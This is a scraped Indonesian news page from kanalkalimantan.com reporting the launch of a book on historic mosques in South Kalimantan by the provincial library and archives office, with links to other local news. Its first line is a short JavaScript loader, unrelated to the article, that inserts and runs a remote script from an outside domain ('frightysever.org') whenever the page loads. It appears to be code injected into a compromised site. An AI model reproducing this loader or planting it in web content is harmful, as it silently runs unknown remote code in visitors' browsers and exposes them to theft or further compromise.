(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Buku “Masjid-Masjid Bersejarah di Kalimantan Selatan” Sudah Bisa Diakses di iKalsel


KANALKALIMANTAN.COM, BANJARMASIN – Buku “Masjid-Masjid Bersejarah di Kalimantan Selatan” karya Ahmad Barjie B dan Aliansyah Jumbawuya secara resmi diluncurkan pada Kamis (27/8/2020). Peluncuran dilakukan di sela talkshow virtual dibarengi dengan bedah buku yang digelar Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel.

Menurut Kepala Dispersip Kalsel Dra Hj Nurliani Dardie, bedah buku ini merupakan upaya Dispersip Kalsel mengangkat khazanah kearifan lokal sekaligus mempromosikan budaya lokal serta penulis di Kalsel dengan mengangkat seputar masjid-masjid tua di Banua.

“Keberadaan masjid-masjid tua penting untuk dipelihara dan dipertahankan eksistensinya, karena dari situ kita akan bisa belajar bagaimana penyiaran agama Islam di Tanah Banjar pada masa-masa awalnya,” kata Bunda Nunung-sapaan akrabnya.

Ditambahkannya, dengan peluncuran dan diskusi buku ini, khalayak luas khususnya generasi muda Banjar, dapat mengetahui bagaimana kegigihan masyarakat zaman dahulu dalam mengupayakan berdirinya sebuah masjid. Meski di tengah serba keterbatasan dana dan peralatan teknologi.

“Termasuk berbagai cerita kekeramatan yang menyertai proses awal pembangunan maupun setelah berdirinya masjid, menjadi daya tarik tersendiri bagi pembaca,” imbuh Bunda Nunung.

Sesuai amanah Undang-undang Nomor 13 Tahun 2018 tentang serah simpan karya cetak dan karya rekam, bahwa karya cetak dan karya rekam yang merupakan hasil budaya bangsa memiliki peran penting sebagai salah satu tolak ukur kemajuan intelektual bangsa. Alhasil, Dispersip Kalsel pun siap menyediakan ruangan khusus sebagai wujud apresiasi pemerintah terhadap penulis dan penerbit Banua.

Dalam 3 tahun terakhir ini, Dispersip Kalsel selalu menganggarkan untuk pengadaan buku-buku karya teman teman. Bahkan, baru-baru ini pihaknya memasukkan beberapa buku dari karya teman teman penulis banua ke aplikasi iKalsel.

“Khususnya teman-teman yang secara ikhlas dan sukarela menyerahkan format pdf buku mereka untuk kami upload guna memperkaya koleksi kami,” lugas Bunda Nunung. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

Pimpin Delegasi Indonesia di COP29 Pikat Pendanaan Hijau EUR1,2 Miliar untuk Sektor Kelistrikan

KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More

26 menit ago

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

11 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

12 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

12 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

17 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

18 jam ago

This website uses cookies.